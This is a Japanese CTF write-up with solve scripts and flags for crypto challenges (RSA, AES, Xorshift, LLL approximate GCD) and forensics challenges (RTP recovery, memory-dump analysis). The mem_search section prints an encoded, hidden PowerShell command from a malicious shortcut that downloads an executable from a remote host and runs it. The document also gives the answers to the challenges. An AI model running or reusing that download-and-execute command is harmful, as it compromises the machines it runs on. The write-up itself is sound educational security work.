6問残って10位。
さっさと全完するか……と思っていたけれど、想像以上に難しくて、土日とGoogle CTFが溶けた。
Crypto
beginners_rsa (Beginner)
from Crypto.Util.number import *
p = getPrime(64)
q = getPrime(64)
r = getPrime(64)
s = getPrime(64)
a = getPrime(64)
n = p*q*r*s*a
e = 0x10001
FLAG = b'FLAG{This_is_a_fake_flag}'
m = bytes_to_long(FLAG)
enc = pow(m, e, n)
print(f'n = {n}')
print(f'e = {e}')
print(f'enc = {enc}')
素数が多いRSA。それぞれが64bitなので、正攻法の素因数分解で破れる。
$ sage
┌────────────────────────────────────────────────────────────────────┐
│ SageMath version 9.5, Release Date: 2022-01-30 │
│ Using Python 3.10.12. Type "help()" for help. │
└────────────────────────────────────────────────────────────────────┘
sage: factor(317903423385943473062528814030345176720578295695512495346444822768171649361480819163749494400347)
9953162929836910171 * 11771834931016130837 * 12109985960354612149 * 13079524394617385153 * 17129880600534041513
sage:
n = 317903423385943473062528814030345176720578295695512495346444822768171649361480819163749494400347
e = 65537
enc = 127075137729897107295787718796341877071536678034322988535029776806418266591167534816788125330265
F = [
9953162929836910171,
11771834931016130837,
12109985960354612149,
13079524394617385153,
17129880600534041513,
]
phi = 1
for f in F:
phi *= f-1
d = pow(e, -1, phi)
dec = pow(enc, d, n)
from Crypto.Util.number import *
print(long_to_bytes(dec).decode())
$ python3 solve.py
FLAG{S0_3a5y_1254!!}
FLAG{S0_3a5y_1254!!}
beginners_aes (Beginner)
鍵とIVに未知の部分が1バイトしかないので、総当たりすれば良い。
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import hashlib
enc = b'\x16\x97,\xa7\xfb_\xf3\x15.\x87jKRaF&"\xb6\xc4x\xf4.K\xd77j\xe5MLI_y\xd96\xf1$\xc5\xa3\x03\x990Q^\xc0\x17M2\x18'
flag_hash = "6a96111d69e015a07e96dcd141d31e7fc81c4420dbbef75aef5201809093210e"
for k in range(256):
for i in range(256):
try:
key = b"the_enc_key_is_"+bytes([k])
iv = b"my_great_iv_is_"+bytes([i])
cipher = AES.new(key, AES.MODE_CBC, iv)
FLAG = cipher.decrypt(enc)
FLAG = unpad(FLAG, 16)
if hashlib.sha256(FLAG).hexdigest()==flag_hash:
print(FLAG.decode())
except:
pass
$ python3 solve.py
FLAG{7h3_f1r57_5t3p_t0_Crypt0!!}
FLAG{7h3_f1r57_5t3p_t0_Crypt0!!}
replacement (Easy)
ハッシュの計算が1文字ずつなので、1文字ずつ総当たりすれば良い。
import hashlib
enc = [265685380796387128074260337556987156845, 75371056103973480373443517203033791314, 330443362254714811278522520670919771869, 127044987962124214100696270195559210814, 75371056103973480373443517203033791314, 57512852240092789512489991536185408584, 330443362254714811278522520670919771869, 301648155472379285594517050531127483548, 101473043316046160883738884593606957434, 328441037604453537976363247914938474182, 132117099947440863086225782187112663809, 324787361952219506718126426467652498112, 324787361952219506718126426467652498112, 137941842177346839522203666758205652951, 211852213467947252418279649849888928870, 328441037604453537976363247914938474182, 132117099947440863086225782187112663809, 229138548907862643092856609226723050075, 217694107356916866121607052237984398603, 75371056103973480373443517203033791314, 301648155472379285594517050531127483548, 127360297788558372456973998053019048669, 132117099947440863086225782187112663809, 57512852240092789512489991536185408584, 225291938577970489582719213714180290820, 135217442928347349540220511812067137647, 75371056103973480373443517203033791314, 57512852240092789512489991536185408584, 289548202804218369273708443831392368399, 132117099947440863086225782187112663809, 139335500873816609567900312949843139873, 268343242210070543641525550351035429524, 135217442928347349540220511812067137647, 57512852240092789512489991536185408584, 132117099947440863086225782187112663809, 52025852590564328496031723616521325469, 140302709094137701773086334180578563688, 127360297788558372456973998053019048669, 127044987962124214100696270195559210814, 135217442928347349540220511812067137647, 127044987962124214100696270195559210814, 140175431361313732288440547599619953992, 328441037604453537976363247914938474182, 132117099947440863086225782187112663809, 280290124780175821729678400814355564485, 132117099947440863086225782187112663809, 268343242210070543641525550351035429524, 301648155472379285594517050531127483548, 330443362254714811278522520670919771869, 132117099947440863086225782187112663809, 315344660197335367320188253944546305738, 127360297788558372456973998053019048669, 75371056103973480373443517203033791314, 301648155472379285594517050531127483548, 225291938577970489582719213714180290820, 314410903843616126162868425563187236446, 301648155472379285594517050531127483548, 57512852240092789512489991536185408584, 260950720930659604756740365450507371663, 132117099947440863086225782187112663809, 301648155472379285594517050531127483548, 260950720930659604756740365450507371663, 132117099947440863086225782187112663809, 52025852590564328496031723616521325469, 101473043316046160883738884593606957434, 132117099947440863086225782187112663809, 314410903843616126162868425563187236446, 301648155472379285594517050531127483548, 126195399674046097926516865351960453821, 140302709094137701773086334180578563688, 127360297788558372456973998053019048669, 135217442928347349540220511812067137647, 260950720930659604756740365450507371663, 75371056103973480373443517203033791314, 132117099947440863086225782187112663809, 229138548907862643092856609226723050075, 301648155472379285594517050531127483548, 314410903843616126162868425563187236446, 75371056103973480373443517203033791314, 289548202804218369273708443831392368399, 132117099947440863086225782187112663809, 217928829273870340501940171394986772443, 127360297788558372456973998053019048669, 135217442928347349540220511812067137647, 127044987962124214100696270195559210814, 225291938577970489582719213714180290820, 135217442928347349540220511812067137647, 127044987962124214100696270195559210814, 140175431361313732288440547599619953992, 132117099947440863086225782187112663809, 260950720930659604756740365450507371663, 268343242210070543641525550351035429524, 75371056103973480373443517203033791314, 132117099947440863086225782187112663809, 314410903843616126162868425563187236446, 127360297788558372456973998053019048669, 75371056103973480373443517203033791314, 57512852240092789512489991536185408584, 268343242210070543641525550351035429524, 217694107356916866121607052237984398603, 101473043316046160883738884593606957434, 132117099947440863086225782187112663809, 315344660197335367320188253944546305738, 127360297788558372456973998053019048669, 75371056103973480373443517203033791314, 10477030623836167233684437098032507967, 75371056103973480373443517203033791314, 330443362254714811278522520670919771869, 132117099947440863086225782187112663809, 229138548907862643092856609226723050075, 140302709094137701773086334180578563688, 314410903843616126162868425563187236446, 314410903843616126162868425563187236446, 75371056103973480373443517203033791314, 75371056103973480373443517203033791314, 132117099947440863086225782187112663809, 301648155472379285594517050531127483548, 127044987962124214100696270195559210814, 330443362254714811278522520670919771869, 132117099947440863086225782187112663809, 57512852240092789512489991536185408584, 301648155472379285594517050531127483548, 126195399674046097926516865351960453821, 140302709094137701773086334180578563688, 127360297788558372456973998053019048669, 135217442928347349540220511812067137647, 127044987962124214100696270195559210814, 140175431361313732288440547599619953992, 132117099947440863086225782187112663809, 260950720930659604756740365450507371663, 268343242210070543641525550351035429524, 75371056103973480373443517203033791314, 132117099947440863086225782187112663809, 10477030623836167233684437098032507967, 301648155472379285594517050531127483548, 127360297788558372456973998053019048669, 52025852590564328496031723616521325469, 132117099947440863086225782187112663809, 315344660197335367320188253944546305738, 312483091106876729395161500591121481064, 260950720930659604756740365450507371663, 260950720930659604756740365450507371663, 75371056103973480373443517203033791314, 127360297788558372456973998053019048669, 101473043316046160883738884593606957434, 132117099947440863086225782187112663809, 260950720930659604756740365450507371663, 140302709094137701773086334180578563688, 301648155472379285594517050531127483548, 57512852240092789512489991536185408584, 260950720930659604756740365450507371663, 132117099947440863086225782187112663809, 135217442928347349540220511812067137647, 57512852240092789512489991536185408584, 132117099947440863086225782187112663809, 260950720930659604756740365450507371663, 268343242210070543641525550351035429524, 75371056103973480373443517203033791314, 132117099947440863086225782187112663809, 315344660197335367320188253944546305738, 75371056103973480373443517203033791314, 57512852240092789512489991536185408584, 260950720930659604756740365450507371663, 289548202804218369273708443831392368399, 132117099947440863086225782187112663809, 153336653484216014488860143974073426008, 268343242210070543641525550351035429524, 301648155472379285594517050531127483548, 127044987962124214100696270195559210814, 140175431361313732288440547599619953992, 135217442928347349540220511812067137647, 127044987962124214100696270195559210814, 140175431361313732288440547599619953992, 132117099947440863086225782187112663809, 260950720930659604756740365450507371663, 268343242210070543641525550351035429524, 75371056103973480373443517203033791314, 132117099947440863086225782187112663809, 57512852240092789512489991536185408584, 312483091106876729395161500591121481064, 315344660197335367320188253944546305738, 319779899260524384061247969332041066255, 75371056103973480373443517203033791314, 229138548907862643092856609226723050075, 260950720930659604756740365450507371663, 328441037604453537976363247914938474182, 132117099947440863086225782187112663809, 280290124780175821729678400814355564485, 132117099947440863086225782187112663809, 127360297788558372456973998053019048669, 75371056103973480373443517203033791314, 229138548907862643092856609226723050075, 75371056103973480373443517203033791314, 135217442928347349540220511812067137647, 126195399674046097926516865351960453821, 75371056103973480373443517203033791314, 330443362254714811278522520670919771869, 132117099947440863086225782187112663809, 301648155472379285594517050531127483548, 127044987962124214100696270195559210814, 132117099947440863086225782187112663809, 75371056103973480373443517203033791314, 52025852590564328496031723616521325469, 301648155472379285594517050531127483548, 135217442928347349540220511812067137647, 217694107356916866121607052237984398603, 132117099947440863086225782187112663809, 260950720930659604756740365450507371663, 140302709094137701773086334180578563688, 330443362254714811278522520670919771869, 301648155472379285594517050531127483548, 101473043316046160883738884593606957434, 132117099947440863086225782187112663809, 10477030623836167233684437098032507967, 135217442928347349540220511812067137647, 260950720930659604756740365450507371663, 268343242210070543641525550351035429524, 132117099947440863086225782187112663809, 57512852240092789512489991536185408584, 140302709094137701773086334180578563688, 52025852590564328496031723616521325469, 75371056103973480373443517203033791314, 260950720930659604756740365450507371663, 268343242210070543641525550351035429524, 135217442928347349540220511812067137647, 127044987962124214100696270195559210814, 140175431361313732288440547599619953992, 132117099947440863086225782187112663809, 127360297788558372456973998053019048669, 301648155472379285594517050531127483548, 260950720930659604756740365450507371663, 268343242210070543641525550351035429524, 75371056103973480373443517203033791314, 127360297788558372456973998053019048669, 132117099947440863086225782187112663809, 169393384228144871625990433807197966773, 75371056103973480373443517203033791314, 229138548907862643092856609226723050075, 312483091106876729395161500591121481064, 217694107356916866121607052237984398603, 135217442928347349540220511812067137647, 301648155472379285594517050531127483548, 127360297788558372456973998053019048669, 132117099947440863086225782187112663809, 135217442928347349540220511812067137647, 127044987962124214100696270195559210814, 132117099947440863086225782187112663809, 135217442928347349540220511812067137647, 260950720930659604756740365450507371663, 289548202804218369273708443831392368399, 132117099947440863086225782187112663809, 280290124780175821729678400814355564485, 260950720930659604756740365450507371663, 132117099947440863086225782187112663809, 229138548907862643092856609226723050075, 140302709094137701773086334180578563688, 127044987962124214100696270195559210814, 260950720930659604756740365450507371663, 301648155472379285594517050531127483548, 135217442928347349540220511812067137647, 127044987962124214100696270195559210814, 75371056103973480373443517203033791314, 330443362254714811278522520670919771869, 132117099947440863086225782187112663809, 301648155472379285594517050531127483548, 132117099947440863086225782187112663809, 52025852590564328496031723616521325469, 101473043316046160883738884593606957434, 57512852240092789512489991536185408584, 260950720930659604756740365450507371663, 75371056103973480373443517203033791314, 127360297788558372456973998053019048669, 135217442928347349540220511812067137647, 140302709094137701773086334180578563688, 312483091106876729395161500591121481064, 57512852240092789512489991536185408584, 132117099947440863086225782187112663809, 52025852590564328496031723616521325469, 75371056103973480373443517203033791314, 57512852240092789512489991536185408584, 57512852240092789512489991536185408584, 301648155472379285594517050531127483548, 140175431361313732288440547599619953992, 75371056103973480373443517203033791314, 132117099947440863086225782187112663809, 260950720930659604756740365450507371663, 268343242210070543641525550351035429524, 301648155472379285594517050531127483548, 260950720930659604756740365450507371663, 132117099947440863086225782187112663809, 57512852240092789512489991536185408584, 301648155472379285594517050531127483548, 135217442928347349540220511812067137647, 330443362254714811278522520670919771869, 132117099947440863086225782187112663809, 302282648683284548814202807340787655613, 139335500873816609567900312949843139873, 268343242210070543641525550351035429524, 135217442928347349540220511812067137647, 57512852240092789512489991536185408584, 132117099947440863086225782187112663809, 135217442928347349540220511812067137647, 57512852240092789512489991536185408584, 132117099947440863086225782187112663809, 301648155472379285594517050531127483548, 132117099947440863086225782187112663809, 57512852240092789512489991536185408584, 75371056103973480373443517203033791314, 229138548907862643092856609226723050075, 127360297788558372456973998053019048669, 75371056103973480373443517203033791314, 260950720930659604756740365450507371663, 132117099947440863086225782187112663809, 229138548907862643092856609226723050075, 140302709094137701773086334180578563688, 330443362254714811278522520670919771869, 75371056103973480373443517203033791314, 328441037604453537976363247914938474182, 132117099947440863086225782187112663809, 57512852240092789512489991536185408584, 140302709094137701773086334180578563688, 132117099947440863086225782187112663809, 169393384228144871625990433807197966773, 217694107356916866121607052237984398603, 75371056103973480373443517203033791314, 301648155472379285594517050531127483548, 57512852240092789512489991536185408584, 75371056103973480373443517203033791314, 132117099947440863086225782187112663809, 330443362254714811278522520670919771869, 140302709094137701773086334180578563688, 127044987962124214100696270195559210814, 285106641514631128245889883706054218556, 260950720930659604756740365450507371663, 132117099947440863086225782187112663809, 260950720930659604756740365450507371663, 75371056103973480373443517203033791314, 217694107356916866121607052237984398603, 217694107356916866121607052237984398603, 132117099947440863086225782187112663809, 301648155472379285594517050531127483548, 127044987962124214100696270195559210814, 101473043316046160883738884593606957434, 140302709094137701773086334180578563688, 127044987962124214100696270195559210814, 75371056103973480373443517203033791314, 289548202804218369273708443831392368399, 132117099947440863086225782187112663809, 165799207128434858641672726827070059029, 334755564751598048042394781213255939012, 335344749019279195985775024993445213947, 301423883473918993177634428163190101268, 42767516990368493138776584305024125808, 324787361952219506718126426467652498112, 53459933652527578064242465506376923016, 75371056103973480373443517203033791314, 169393384228144871625990433807197966773, 217694107356916866121607052237984398603, 204791166937441563272975036703176244680, 229138548907862643092856609226723050075, 75371056103973480373443517203033791314, 52025852590564328496031723616521325469, 53459933652527578064242465506376923016, 127044987962124214100696270195559210814, 260950720930659604756740365450507371663, 82324359399928500054185503234815398877, 302282648683284548814202807340787655613, 289548202804218369273708443831392368399, 132117099947440863086225782187112663809, 67435298396569627229809714987765527069, 140302709094137701773086334180578563688, 10477030623836167233684437098032507967, 132117099947440863086225782187112663809, 57512852240092789512489991536185408584, 260950720930659604756740365450507371663, 127360297788558372456973998053019048669, 301648155472379285594517050531127483548, 127044987962124214100696270195559210814, 140175431361313732288440547599619953992, 75371056103973480373443517203033791314, 32129299595146848534093479265394572654, 281595222973318803755638905082365601824, 281595222973318803755638905082365601824, 301423883473918993177634428163190101268, 312483091106876729395161500591121481064, 127360297788558372456973998053019048669, 75371056103973480373443517203033791314, 135217442928347349540220511812067137647, 57512852240092789512489991536185408584, 101473043316046160883738884593606957434, 301648155472379285594517050531127483548]
dec = ""
for e in enc:
for x in range(256):
if int(hashlib.md5(str(x).encode()).hexdigest(), 16)==e:
dec += chr(x)
print(dec)
$ python3 solve.py
Wednesday, 11/8, clear skies. This morning, I had breakfast at my favorite cafe. Drinking the freshly brewed coffee and savoring the warm buttery toast is the best. Changing the subject, I received an email today with something rather peculiar in it. It contained a mysterious message that said "This is a secret code, so please don't tell anyone. FLAG{13epl4cem3nt}". How strange!
Gureisya
FLAG{13epl4cem3nt}
Easy calc (Easy)
:
def f(s, p):
u = 0
for i in range(p):
u += p - i
u *= s
u %= p
return u
p = getPrime(1024)
s = random.randint(1, p - 1)
A = f(s, p)
:
A
が与えられるので、そこから s
を復元する問題。
式変形をして等比数列の和の公式を使うと、 $A=\frac{s}{1-s}$ であることが分かる。 $s=\frac{A}{A+1}$ 。
p = 108159532265181242371960862176089900437183046655107822712736597793129430067645352619047923366465213553080964155205008757015024406041606723580700542617009651237415277095236385696694741342539811786180063943404300498027896890240121098409649537982185247548732754713793214557909539077228488668731016501718242238229
A = 60804426023059829529243916100868813693528686280274100232668009387292986893221484159514697867975996653561494260686110180269479231384753818873838897508257692444056934156009244570713404772622837916262561177765724587140931364577707149626116683828625211736898598854127868638686640564102372517526588283709560663960
ciphertext = '9fb749ef7467a5aff04ec5c751e7dceca4f3386987f252a2fc14a8970ff097a81fcb1a8fbe173465eecb74fb1a843383'
from hashlib import md5
from Crypto.Util.number import long_to_bytes
from Crypto.Cipher import AES
s = A*pow(A+1, -1, p)%p
ciphertext = bytes.fromhex(ciphertext)
iv, enc = ciphertext[:16], ciphertext[16:]
key = long_to_bytes(s)
key = md5(key).digest()
cipher = AES.new(key, AES.MODE_CBC, iv=iv)
print(cipher.decrypt(enc).decode())
$ python3 solve.py
FLAG{Do_the_math396691ba7d7270a}
FLAG{Do_the_math396691ba7d7270a}
dance (Normal)
謎の共通鍵暗号。
鍵のパターン数が少ないので総当たりすれば良い。XORなので、 encrypt
で復号もできる。
username = 'gureisya'
ciphertext = '061ff06da6fbf8efcd2ca0c1d3b236aede3f5d4b6e8ea24179'
from mycipher import MyCipher
import hashlib
def make_token(data1: str, data2: str):
sha256 = hashlib.sha256()
sha256.update(data1.encode())
right = sha256.hexdigest()[:20]
sha256.update(data2.encode())
left = sha256.hexdigest()[:12]
token = left + right
return token
for minutes in range(60):
for sec in range(60):
for rnd in range(11):
data1 = f'user: {username}, {minutes}:{sec}'
data2 = f'{username}'+str(rnd)
token = make_token(data1, data2)
sha256 = hashlib.sha256()
sha256.update(token.encode())
key = sha256.hexdigest()[:32]
nonce = token[:12]
cipher = MyCipher(key.encode(), nonce.encode())
plaintext = cipher.encrypt(bytes.fromhex(ciphertext))
if b"FLAG{" in plaintext:
print(plaintext)
これをcry-danceディレクトリに置いて、
$ python3 solve.py
b'FLAG{d4nc3_l0b0t_d4nc3!!}'
謎の共通鍵暗号はChaCha20だったらしい。
FLAG{d4nc3_l0b0t_d4nc3!!}
speedy (Hard)
from Crypto.Util.number import *
from Crypto.Util.Padding import *
def rotl(x, y):
x &= 0xFFFFFFFFFFFFFFFF
return ((x << y) | (x >> (64 - y))) & 0xFFFFFFFFFFFFFFFF
class MyCipher:
def __init__(self, s0, s1):
self.X = s0
self.Y = s1
self.mod = 0xFFFFFFFFFFFFFFFF
self.BLOCK_SIZE = 8
def get_key_stream(self):
s0 = self.X
s1 = self.Y
sum = (s0 + s1) & self.mod
s1 ^= s0
key = []
for _ in range(8):
key.append(sum & 0xFF)
sum >>= 8
self.X = (rotl(s0, 24) ^ s1 ^ (s1 << 16)) & self.mod
self.Y = rotl(s1, 37) & self.mod
return key
def encrypt(self, pt: bytes):
ct = b''
for i in range(0, len(pt), self.BLOCK_SIZE):
ct += long_to_bytes(self.X)
key = self.get_key_stream()
block = pt[i:i+self.BLOCK_SIZE]
ct += bytes([block[j] ^ key[j] for j in range(len(block))])
return ct
from cipher import MyCipher
from Crypto.Util.number import *
from Crypto.Util.Padding import *
import os
s0 = bytes_to_long(os.urandom(8))
s1 = bytes_to_long(os.urandom(8))
cipher = MyCipher(s0, s1)
secret = b'FLAG{'+b'*'*19+b'}'
pt = pad(secret, 8)
ct = cipher.encrypt(pt)
print(f'ct = {ct}')
Xorshiftみたいな感じの鍵ストリームで暗号化している。フラグの先頭の FLAG{
と末尾のパディングから逆算しろと……? え、難しくない? と思ったけど、ソースコードを良く見たら各ステップで X
が出力されていた。ここから楽に逆算できる。
ct = b'"G:F\xfe\x8f\xb0<O\xc0\x91\xc8\xa6\x96\xc5\xf7N\xc7n\xaf8\x1c,\xcb\xebY<z\xd7\xd8\xc0-\x08\x8d\xe9\x9e\xd8\xa51\xa8\xfbp\x8f\xd4\x13\xf5m\x8f\x02\xa3\xa9\x9e\xb7\xbb\xaf\xbd\xb9\xdf&Y3\xf3\x80\xb8'
from Crypto.Util.number import *
from cipher import MyCipher
x0 = bytes_to_long(ct[0:8])
x1 = bytes_to_long(ct[16:24])
y = (x1^x0^x0<<16^x0<<24^x0>>40)&0xffffffffffffffff
y0 = y&0xffff
y0 |= (y0<<16^y)&0xffff0000
y0 |= (y0<<16^y)&0xffff00000000
y0 |= (y0<<16^y)&0xffff000000000000
cipher = MyCipher(x0, y0)
flag = b""
for i in range(4):
key = cipher.get_key_stream()
block = ct[i*16+8:i*16+16]
flag += bytes([block[j] ^ key[j] for j in range(len(block))])
flag = flag[:-flag[-1]].decode()
print(flag)
これをcry-speedyディレクトリに置いて、
$ python3 cry-speedy/solve.py
FLAG{x013_ro74te_5hif7!!}
FLAG{x013_ro74te_5hif7!!}
Many Xor Shift (Normal)
フラグをXorshiftの初期状態として、 M
回乱数を生成した後の状態が与えられる。
Xorshiftは逆算できるよね、と下記のコードの naive
の関数を書いた。全然終わらないと思ったら M
が大きかった。なるほど、「Many」。
この逆算の処理は行列で表現できるので、行列の累乗の高速化をすれば良い。競技プログラミングでたまに出てくるやつ。
N = 7
M = 17005450388330379
WORD_SIZE = 32
state = [1927245640, 871031439, 789877080, 4042398809, 3950816575, 2366948739, 935819524]
def naive():
S = state[:]
for _ in range(M):
S[6] ^= S[5]
S[6] ^= S[5]>>19
S[6] ^= S[6]>> 8&0b00000000_11111111_00000000_00000000
S[6] ^= S[6]>> 8&0b00000000_00000000_11111111_00000000
S[6] ^= S[6]>> 8&0b00000000_00000000_00000000_11111111
S[6] ^= S[6]<<11&0b00000000_00111111_11111000_00000000
S[6] ^= S[6]<<11&0b11111111_11000000_00000000_00000000
S = S[6:]+S[:6]
f = b"".join(s.to_bytes(4, "big") for s in S)
print(f)
#naive()
n = 7*32
def mul(M1, M2):
M = [[0]*n for _ in range(n)]
for y in range(n):
for x in range(n):
for i in range(n):
M[y][x] ^= M1[y][i]&M2[i][x]
return M
def I():
return [[int(x==y) for x in range(n)] for y in range(n)]
M1 = I()
# S[6] ^= S[5]
Mt = I()
for i in range(32):
Mt[6*32+i][5*32+i] = 1
M1 = mul(Mt, M1)
# S[6] ^= S[5]>>19
Mt = I()
for i in range(13):
Mt[6*32+i][5*32+i+19] = 1
M1 = mul(Mt, M1)
# S[6] ^= S[6]>> 8&0b00000000_11111111_00000000_00000000
Mt = I()
for i in range(8):
Mt[6*32+i+16][6*32+i+24] = 1
M1 = mul(Mt, M1)
# S[6] ^= S[6]>> 8&0b00000000_00000000_11111111_00000000
Mt = I()
for i in range(8):
Mt[6*32+i+8][6*32+i+16] = 1
M1 = mul(Mt, M1)
# S[6] ^= S[6]>> 8&0b00000000_00000000_00000000_11111111
Mt = I()
for i in range(8):
Mt[6*32+i][6*32+i+8] = 1
M1 = mul(Mt, M1)
# S[6] ^= S[6]<<11&0b00000000_00111111_11111000_00000000
Mt = I()
for i in range(11):
Mt[6*32+i+11][6*32+i] = 1
M1 = mul(Mt, M1)
# S[6] ^= S[6]<<11&0b11111111_11000000_00000000_00000000
Mt = I()
for i in range(10):
Mt[6*32+i+22][6*32+i+11] = 1
M1 = mul(Mt, M1)
# S = S[6:]+S[:6]
Mt = [[0]*n for _ in range(n)]
for i in range(32):
Mt[i][6*32+i] = 1
for i in range(32*6):
Mt[i+32][i] = 1
M1 = mul(Mt, M1)
M2 = I()
while M>0:
if M%2!=0:
M2 = mul(M2, M1)
M1 = mul(M1, M1)
M //= 2
flag = 0
for y in range(n):
for x in range(n):
flag ^= ((state[x//32]>>(x%32)&1)&M2[y][x])<<y
flag = flag.to_bytes(28, "big")
flag2 = b""
for i in range(7)[::-1]:
flag2 += flag[i*4:i*4+4]
print(flag2.decode())
$ python3 solve.py
FLAG{m47r1x_!n_8inary_w0rld}
FLAG{m47r1x_!n_8inary_w0rld}
uf (Very hard)
解けなかった。
import os
from secrets import randbits
from Crypto.Util.number import bytes_to_long
FLAG = os.environb.get(b"FLAG", b"FAKE{THIS_IS_DUMMY_FLAG}")
m = bytes_to_long(FLAG)
assert m.bit_length() >= 512
def encrypt(m: int, n: int = 512) -> int:
x = 0
for i in range(n):
x <<= 1
x += m * randbits(1)
if i >= n // 2:
x ^= randbits(1)
return x
X = [encrypt(m) for _ in range(4)]
print(X)
シンプル。要は、 $f \times R_i\ \mathrm{xor}\ S_i$ が4個与えられる。 $f$ はフラグで560 bitくらい。 $R_i$ は512 bit、$S_i$ は256 bitの乱数。
$S_i$ が無ければGCDを計算して終わりなのだけど。
下位ビットにノイズが入るあたり、LLLっぽさを感じる。でも、 $f \times R_i$ のどちらも変数はどうしようもないよな……。$f$ を固定すればLLLで $R_i$ 求めることはできる。 $R_i$ が小さくなるように $f$ を上位ビットから決めるのはどうだろうか → 上手くいかず。
$X$ の上位ビットに影響するのは $f$ と $R_i$ の上位ビットだから上位ビットはだいたい決まる。下位ビットも順に求まっていくのでは……とZ3に投げても終わらず。手作業で上位ビットから決めていくようにしてもダメ。
Approximate GCD、そんなものがあるのか。
これを簡約するだけで良いと。
\begin{pmatrix}
1 & X_1 & X_1 & X_1 \\
0 & X_2 & 0 & 0 \\
0 & 0 & X_3 & 0 \\
0 & 0 & 0 & X_4
\end{pmatrix}
なるほど。$X_i\ (i\geq2)$ を任意の回数足し引きして良いから、それで値を小さくできるような $k X_1$ の $k$ は何ですか? という話か。言われてみれば、シンプルな話。
X = [6643852762092641655051592752286380661448697120839285262713138738793179330857521051418707355387198243788554658967735136760757552410466512939791351078152197994352930016306075464400264019640466277732596022216246131141036813931972036259910390741311141390889450882074162723823607552591155184799627590418587536982033939537563823, 4495106960532238798978878322218382764459613684889887356979907395021294655849239390809608204284927849117763119933285899077777162943233437728643056322845118660545730870443735090094400144586494098834221418487123653668703665085461676013454922344247818407399456870636622800919629442727075235809213114639237367651539678560390951, 7622226387024225267485603541284038981214490586915816777231024576546652676746968149372915915975325662783469952634025859954515971134032563991925283958708572235632178937041656690377178266198211581176947491463237398083133658483056792368618417698027992083481412961301906342594056438180675328433412539805240307255787971167535638, 1149407465454162408488208063367931363888120160126632926627929705372269921465081968665764846439238807939361247987642326885758277171318666479752274577607727935160689442316433824450832192798328252739495913920016290902086534688608562545166349970831960156036289570935410160077618096614135121287858428753273136461851339553609896]
M = Matrix([
[1, X[1], X[2], X[3]],
[0, X[0], 0, 0],
[0, 0, X[0], 0],
[0, 0, 0, X[0]],
]).LLL()
f = int(abs(X[0]//M[0][0]))
f = f.to_bytes((f.bit_length()+7)//8, "big").decode()
print(f)
$ sage solve2.sage
FLAG{hope_this_chal_is_not_automatically_solved_by_AI_c14ef1732e87a6c}
FLAG{hope_this_chal_is_not_automatically_solved_by_AI_c14ef1732e87a6c}
Forensics
tiny_usb (Beginner)
ISOイメージ。
Explzhで開くと中に画像が入っていた。
FLAG{hey_i_just_bought_a_usb}
Surveillance_of_sus (Normal)
悪意ある人物が操作しているのか、あるPCが不審な動きをしています。
そのPCから何かのキャッシュファイルを取り出すことに成功したらしいので、調べてみてください!
Remote Desktopのキャッシュファイルらしい。
RDPビットマップキャッシュについて: NECセキュリティブログ | NEC
この記事の通りに。
FLAG{RDP_is_useful_yipeee}
codebreaker (Beginner)
QRコードの上に×印が描かれている。
手で塗って修正した。
FLAG{How_scan-dalous}
I_wanna_be_a_streamer (Easy)
RTPをキャプチャしたpcapから映像を復元しろという問題。
Wiresharkのメニューから Telephony → RTP → RTP Streams。音声ストリームはWiresharkでそのまま聴けるが、映像は無理だった。
エクスポート。これはrtptoolsのフォーマットらしい。
./configure && make
で何かエラーになるので適当に直してコンパイル。
ffmpeg用の設定ファイルを用意。
v=0
c=IN IP4 127.0.0.1
m=video 4646 RTP/AVP 96
a=rtpmap:96 H264/90000
$ ffmpeg -protocol_whitelist file,udp,rtp -f sdp -i aaa.sdp -copyts -c copy out.mp4
これで待ち受け、 rtplay
で流し込んだ。
$ ./rtpplay -f ../file.rtp 127.0.0.1/4646
FLAG{Th4nk_y0u_f0r_W4tching}
tiny_10px (Normal)
10x10ピクセルのJpegファイル。
とりあえずサイズを大きくしてみるかと、サイズの 0x0a
の部分を 0xa0
に書き換えてみたらこれが正解だったらしく、画像が見られた。
FLAG{b1g_en0ugh}
mem_search (Hard)
知らないファイルがあったので開いてみると変な動作をしたので、メモリダンプを取りました!
攻撃はどうやって行われたのでしょう?
それだけ言われても……。
volatility3で探し回った。
$ python3 ../../../git/volatility3/vol.py -f chal_mem_search.DUMP windows.filescan > filescan.txt
Volatility 3 Framework 2.7.1
Offset Name Size
0xcd88c7ab70c0 \$Directory 216
0xcd88c7ab73e0 \Windows\System32\winevt\Logs\Microsoft-Windows-Partition%4Diagnostic.evtx 216
:
0xcd88cebc2530 \LOCAL\mojo.4076.5416.12963019647313384527 216
0xcd88cebc26c0 \Users\Mikka\Desktop\read_this_as_admin.lnknload 216
0xcd88cebc2850 \Windows\System32\wdmaud.drv 216
:
read_this_as_admin.lnknload
という怪しげなファイル名が見えるのでダンプ。
$ python3 ../../../git/volatility3/vol.py -f chal_mem_search.DUMP windows.dumpfiles --virtaddr 0xcd88cebc26c0
Volatility 3 Framework 2.7.1
Progress: 100.00 PDB scanning finished
Cache FileObject FileName Result
DataSectionObject 0xcd88cebc26c0 read_this_as_admin.lnknload file.0xcd88cebc26c0.0xcd88ced4e5f0.DataSectionObject.read_this_as_admin.lnknload.dat
バイナリエディタで開くとコマンドが見える。
C:\Windows\System32ȭwindow hidden -noni -enc JAB1AD0AJwBoAHQAJwArACcAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAwAC4AMQA2ADoAOAAyADgAMgAvAEIANgA0AF8AZABlAGMAJwArACcAbwBkAGUAXwBSAGsAeABCAFIAMwB0AEUAWQBYAGwAMQBiAFYAOQAwAGEARwBsAHoAWAAnACsAJwAyAGwAegBYADMATgBsAFkAMwBKAGwAZABGADkAbQBhAFcAeABsAGYAUQAlADMAJwArACcARAAlADMARAAvAGMAaABhAGwAbABfAG0AZQBtAF8AcwBlACcAKwAnAGEAcgBjAGgALgBlACcAKwAnAHgAZQAnADsAJAB0AD0AJwBXAGEAbgAnACsAJwBpAFQAZQBtACcAKwAnAHAAJwA7AG0AawBkAGkAcgAgAC0AZgBvAHIAYwBlACAAJABlAG4AdgA6AFQATQBQAFwALgAuAFwAJAB0ADsAdAByAHkAewBpAHcAcgAgACQAdQAgAC0ATwB1AHQARgBpAGwAZQAgACQAZABcAG0AcwBlAGQAZwBlAC4AZQB4AGUAOwAmACAAJABkAFwAbQBzAGUAZABnAGUALgBlAHgAZQA7AH0AYwBhAHQAYwBoAHsAfQA=
Base64復号。
